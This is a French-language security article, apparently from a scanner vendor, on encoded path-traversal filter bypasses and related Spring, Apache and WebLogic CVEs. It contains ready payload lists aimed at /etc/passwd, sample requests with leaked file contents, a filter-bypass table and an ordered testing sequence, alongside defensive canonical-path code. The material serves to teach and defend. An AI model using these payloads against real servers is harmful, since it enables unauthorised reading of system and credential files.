Encode les séquences de traversée (%2e%2e%2f, ..%2f) pour contourner les filtres d'entrée qui bloquent les motifs ../ littéraux dans les noms de fichiers.
TL;DR
%2e%2e%2f double encodé contournait les vérifications de chemin des ressources statiquesLe path traversal encodé exploite l'écart entre le point où l'entrée utilisateur est validée et le point où elle est utilisée. Un filtre qui vérifie la chaîne littérale ../ laisse passer toutes les représentations encodées de la même séquence, car le filtre opère sur la forme encodée tandis que le système de fichiers opère sur la forme décodée.
La classe de vulnérabilité cible les systèmes multi-niveaux où l'entrée passe par plusieurs couches de traitement : un proxy inverse ou WAF qui décode une fois, puis une application qui décode à nouveau, puis un système de fichiers qui reçoit le chemin décodé final. Chaque frontière de décodage est une opportunité potentielle de contournement. Un attaquant qui comprend quelle couche valide et quelle couche utilise l'entrée peut forger un encodage qui passe la validation sous forme encodée et se résout en séquence de traversée après décodage.
Sous CWE-22 et OWASP A01:2021, cette variante est particulièrement dangereuse car elle rend les filtres de path traversal basés sur des listes noires inefficaces comme classe complète. Tout système qui valide l'entrée avant de la décoder, ou qui ne décode pas vers la forme canonique avant validation, est vulnérable. CVE-2024-38819 (Spring Framework, 2024) et le cluster d'attaques de confusion Apache mod_rewrite (Orange Tsai, DEF CON 32, 2024) démontrent tous deux que des frameworks d'entreprise majeurs embarquent cette classe de vulnérabilité.
L'attaque exploite l'écart entre l'entrée encodée (vue par les validateurs) et la sortie décodée (vue par le système de fichiers) :
Littéral : ../../../etc/passwd
URL encodé : %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
Double encodé : %252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
Mixte : ..%2f..%2fetc%2fpasswd
UTF-8 trop long : ..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
Pleine largeur : ..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd
Imbriqué : ....//....//....//etc/passwdGET /static/%2e%2e%2f%2e%2e%2fetc%2fpasswd HTTP/1.1
Host: spring-app.example.com
HTTP/1.1 200 OK
Content-Type: application/octet-stream
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinGET /download?file=..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
Host: app.example.com
X-Forwarded-For: 1.2.3.4
HTTP/1.1 200 OK
root:x:0:0:root:/root:/bin/bashLa chaîne d'attaque par double encodage : %252f → premier décodage donne %2f (le WAF voit %2f, pas /, laisse passer) → second décodage à l'intérieur de l'application donne /. Le WAF vérifiait la chaîne littérale ../ ou %2f mais pas %252f.
| Classe d'encodage | Représentation du payload | Contourne |
|---|---|---|
| Littéral | ../../../etc/passwd | Aucun filtre |
| URL simple | %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd | Filtre ../ littéral |
| Points encodés | %2e%2e/%2e%2e/%2e%2e/etc/passwd | Filtre bloquant les points |
| Encodage complet | %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd | Filtres d'encodage partiel |
| Double encodage | %252e%252e%252f%252e%252e%252f%252e%252e%252f | WAF à décodage unique |
| Double encodage v2 | ..%252f..%252f..%252fetc%252fpasswd | WAF à décodage unique, points autorisés |
| UTF-8 trop long v1 | ..%c0%af..%c0%af..%c0%afetc%c0%afpasswd | Décodeurs UTF-8 standard |
| UTF-8 trop long v2 | ..%c1%9c..%c1%9c..%c1%9c | IIS hérité, parsers personnalisés |
| Solidus pleine largeur | ..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f | Normalisation Unicode après validation |
| Traversée imbriquée | ....//....//....//etc/passwd | Suppression ../ en une seule passe |
| Imbriquée v2 | ....\/....\/....\/etc/passwd | Suppression ..\ en une seule passe |
| Slash mixte | ../\../\..\etc/passwd | Filtres spécifiques à la plateforme |
| Antislash encodé | ..%5c..%5c..%5c | Windows, filtre slash-uniquement |
| Double-null encodé | ..%2500/../../../etc/passwd | Null byte + double encodage |
L'encodage URL simple (%2e%2e%2f) défait les filtres utilisant la comparaison de chaîne pour la séquence littérale ../. Le filtre ne décode pas avant de vérifier.
Le double encodage URL (%252e%252e%252f) défait les middlewares à décodage unique. Un WAF décode %25 en % et %252f en %2f. Le WAF voit %2f (un slash encodé), pas un motif de traversée. Le framework web de l'application décode ensuite %2f en / lors du traitement URL normal.
L'UTF-8 trop long (..%c0%af) exploite les décodeurs qui acceptent des encodages multi-octets trop longs de caractères ayant des représentations mono-octet valides. Le caractère / (U+002F) ne nécessite qu'un octet en UTF-8 valide (%2f). Une séquence deux octets trop longue %c0%af est techniquement invalide en UTF-8 mais était acceptée par Microsoft IIS 4.0/5.0 et reste acceptée par certains parsers personnalisés et piles HTTP embarquées.
La traversée imbriquée (....//) contourne le remplacement de chaîne en une seule passe. Le filtre input.replace("../", "") transforme ....// en ../ en une passe — mais ne s'exécute pas à nouveau sur le résultat. Une application récursive du même filtre produit éventuellement une chaîne vide, mais la plupart des implémentations s'arrêtent après une passe.
CVE-2024-38819 — Spring Framework Static Resources (CVSS 7.5) : les applications utilisant le framework web fonctionnel de Spring (WebMvc.fn ou WebFlux.fn) pour servir des ressources statiques depuis des emplacements FileSystemResource étaient vulnérables à la traversée de chemin double encodée URL. Les attaquants envoyaient GET /static/%2e%2e%2f%2e%2e%2fetc%2fpasswd — Spring décodait %2e%2e%2f en ../ lors du traitement URL et résolvait le chemin en dehors du répertoire de ressources configuré. Un PoC public a été publié peu après la divulgation. Affecte Spring 5.3.x avant 5.3.41, 6.0.x avant 6.0.25, 6.1.x avant 6.1.14. Le pare-feu HTTP de Spring Security bloque ces requêtes quand configuré, mais beaucoup de déploiements n'utilisent pas la validation de requête de Spring Security. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
CVE-2024-38474 / CVE-2024-38475 — Apache HTTP Server mod_rewrite (CVSS 9.1) : la recherche "Confusion Attacks" d'Orange Tsai, présentée à DEF CON 32 et Black Hat USA 2024, documentait 9 CVE et 20 techniques d'exploitation dans Apache HTTP Server. CVE-2024-38474 exploitait des points d'interrogation encodés (%3F) dans les rétroréférences mod_rewrite pour causer une troncature de chemin, contournant les restrictions d'accès et permettant potentiellement du RCE via l'exécution de script en dehors du webroot. CVE-2024-38475 permettait aux cibles RewriteRule avec correspondance de chemin du système de fichiers de s'échapper du document root via des URIs spécialement forgés. Apache 2.4.60 corrige la classe entière ; le drapeau UnsafeAllow3F est requis pour les RewriteRules hérités après le patch.
CVE-2020-14882 — Oracle WebLogic Encoded Traversal to Auth Bypass (CVSS 9.8) : la traversée de chemin double encodée (%2F%2F%2F) dans l'URL de console admin Oracle WebLogic contournait entièrement l'authentification, permettant un accès non authentifié à la console de gestion. Cela était ensuite chaîné avec CVE-2020-14883 (évaluation d'expression MVEL) pour réaliser du RCE non authentifié — un exemple classique de traversée encodée comme première étape dans une chaîne d'exploitation.
../ littéral pour établir une ligne de base. Si cela réussit, aucun contournement par encodage n'est nécessaire.. par %2e et / par %2f.% dans le payload simple encodé par %25. Tester à la fois %252e%252e%252f et ..%252f...%2f..%2fetc%2fpasswd (seulement le slash encodé).....//....//....//etc/passwd...%c0%af..%c0%af..%c0%afetc%c0%afpasswd...%ef%bc%8f..%ef%bc%8f..%ef%bc%8f.BreachVex teste 22 variantes de son jeu de payloads de traversée, incluant les formes simple et double encodées, les variantes UTF-8 trop longues (%c0%af, %c1%9c), le solidus pleine largeur (%ef%bc%8f) et les séquences imbriquées (....//). La validation par porte de contenu (HTTP 200 + corps ≥ 10 octets + regex de marqueur) prévient les faux positifs des serveurs qui retournent 200 pour tous les chemins. La sévérité du finding est définie à HIGH pour la lecture de fichier et CRITICAL pour /etc/shadow ou les fichiers de credentials.
import os
from urllib.parse import unquote
BASE_DIR = os.path.realpath("/var/www/app/uploads")
def safe_open(raw_input: str) -> bytes:
# Décoder tout percent-encoding dans l'entrée utilisateur
decoded = unquote(raw_input)
# Double décodage pour gérer les payloads double encodés
decoded = unquote(decoded)
# Join avec le répertoire de base
full_path = os.path.join(BASE_DIR, decoded)
# Résolution canonique — résout .., symlinks et toute normalisation au niveau OS
resolved = os.path.realpath(full_path)
# Valider que le chemin résolu est dans la base
if not resolved.startswith(BASE_DIR + os.sep):
raise PermissionError("Path traversal bloqué")
with open(resolved, "rb") as f:
return f.read()Le principe clé : ne pas valider l'entrée brute ou partiellement décodée. Résoudre vers la forme canonique finale d'abord, puis valider. Le système de fichiers décodera de toute façon — votre validation doit voir le même chemin que le système de fichiers voit.
// Node.js — décoder puis résoudre
const path = require('path');
const fs = require('fs');
const BASE = fs.realpathSync('/app/uploads');
function safeRead(rawInput) {
// Décoder le percent-encoding (incluant le double encodage potentiel)
const decoded = decodeURIComponent(decodeURIComponent(rawInput));
const resolved = path.resolve(BASE, decoded);
const real = fs.realpathSync(resolved);
if (!real.startsWith(BASE + path.sep)) {
throw new Error('Path traversal bloqué');
}
return fs.readFileSync(real);
}Les règles WAF qui bloquent %2e%2e ou %2f ne constituent pas une défense complète contre le path traversal. Le double encodage (%252e%252e%252f) et l'encodage UTF-8 trop long (%c0%af) contournent ces règles. Un WAF peut être une couche utile en défense en profondeur, mais l'application doit implémenter la résolution canonique et la validation de préfixe indépendamment de tout WAF.
Le tableau ci-dessous montre les contournements documentés pour chaque approche courante de liste noire :
Filtre : bloquer "../" → contournement : %2e%2e%2f, ....//
Filtre : bloquer "%2e" → contournement : %252e (double encodage)
Filtre : bloquer "%2f" → contournement : %252f, %c0%af
Filtre : supprimer "../" (une fois) → contournement : ....// → ../ après une suppression
Filtre : supprimer "../" (récursif) → contournement : encodage mixte ou variantes Unicode
Filtre : vérification starts-with → contournement : /etc/passwd (chemin absolu)
Filtre : startswith chemin de base → contournement : inclure la base dans le payload : /base/../../../etcAucune combinaison de règles de liste noire ne couvre l'espace d'encodage complet. L'approche correcte est la résolution canonique suivie d'une assertion de préfixe — ceci est agnostique à l'encodage par conception.
Le path traversal encodé (CWE-22) exploite les divergences entre la couche qui valide l'entrée — qui voit une représentation encodée — et la couche qui l'utilise — qui la décode d'abord. La séquence ../ peut s'exprimer comme %2e%2e%2f, %252e%252e%252f, ..%c0%af, ou ....// entre autres. Un filtre vérifiant la chaîne littérale ../ laisse passer toutes ces variantes.
Le double encodage applique l'encodage URL deux fois. Le caractère / s'encode en %2f au premier passage. Encoder %2f à nouveau produit %252f (% devient %25). Un système avec deux couches de décodage — comme un WAF qui décode une fois et une application qui décode à nouveau — verra %2f après le premier passage, ne le reconnaîtra pas comme motif bloqué, puis le décodera en / au second passage à l'intérieur de l'application.
CVE-2024-38819 (Spring Framework, CVSS 7.5) exploitait des séquences de traversée double encodées URL (%2e%2e%2f) pour accéder à des fichiers en dehors des répertoires de ressources configurés. CVE-2024-38474 (Apache HTTP Server mod_rewrite, CVSS 9.1) utilisait des points d'interrogation encodés (%3F) dans les rétroréférences RewriteRule pour causer une troncature de chemin et contourner les restrictions d'accès — découvert par Orange Tsai à DEF CON 32.
L'encodage UTF-8 trop long utilise plus d'octets que le minimum requis pour représenter un caractère. Le caractère / (U+002F) ne nécessite qu'un octet en UTF-8 valide, mais un encodage trop long utilise deux octets : %c0%af. Cela viole la spécification UTF-8 mais certains décodeurs hérités l'acceptent. C'était critique dans Microsoft IIS 4.0/5.0 (MS00-078) et reste pertinent dans les parsers personnalisés et les systèmes embarqués.
Les traversées imbriquées contournent les filtres qui suppriment ../ une seule fois sans récursion. Le payload ....// devient ../ après que le filtre supprime la sous-chaîne ../ intérieure. Le filtre ne re-vérifie pas le résultat. Ce contournement fonctionne contre les implémentations qui font du remplacement de chaîne plutôt qu'une résolution canonique du chemin.
Spring Framework 5.3.x avant 5.3.41, 6.0.x avant 6.0.25 et 6.1.x avant 6.1.14 étaient vulnérables lors du service de ressources statiques via RouterFunctions (WebMvc.fn ou WebFlux.fn) utilisant FileSystemResource. Les attaquants envoyaient des requêtes avec des séquences de traversée double encodées URL comme /static/%2e%2e%2f%2e%2e%2fetc%2fpasswd. Spring décodait les séquences et accédait à des fichiers en dehors du répertoire de ressources configuré.
Tester dans cet ordre : (1) ../ littéral ; (2) encodage URL simple %2e%2e%2f ; (3) double encodage URL %252e%252e%252f ; (4) encodage mixte ..%2f ; (5) Unicode non standard ..%c0%af et ..%ef%bc%8f ; (6) séquences imbriquées ....// et ....// ; (7) suffixe null byte %00 si un filtrage d'extension est détecté ; (8) chemin absolu /etc/passwd sans traversée. Chaque encodage cible un mode d'échec de validation différent.
Oui. Le prouveur LFI étendu de BreachVex teste 22 variantes de payload couvrant toutes les principales classes d'encodage : traversée littérale, encodage URL simple, double encodage, UTF-8 trop long (%c0%af et variantes %c1%9c), solidus pleine largeur (%ef%bc%8f), séquences imbriquées (....//), slash/antislash mixte, null byte double encodé (%2500) et injection de chemin absolu. Chaque variante est testée contre des marqueurs de confirmation spécifiques à l'OS.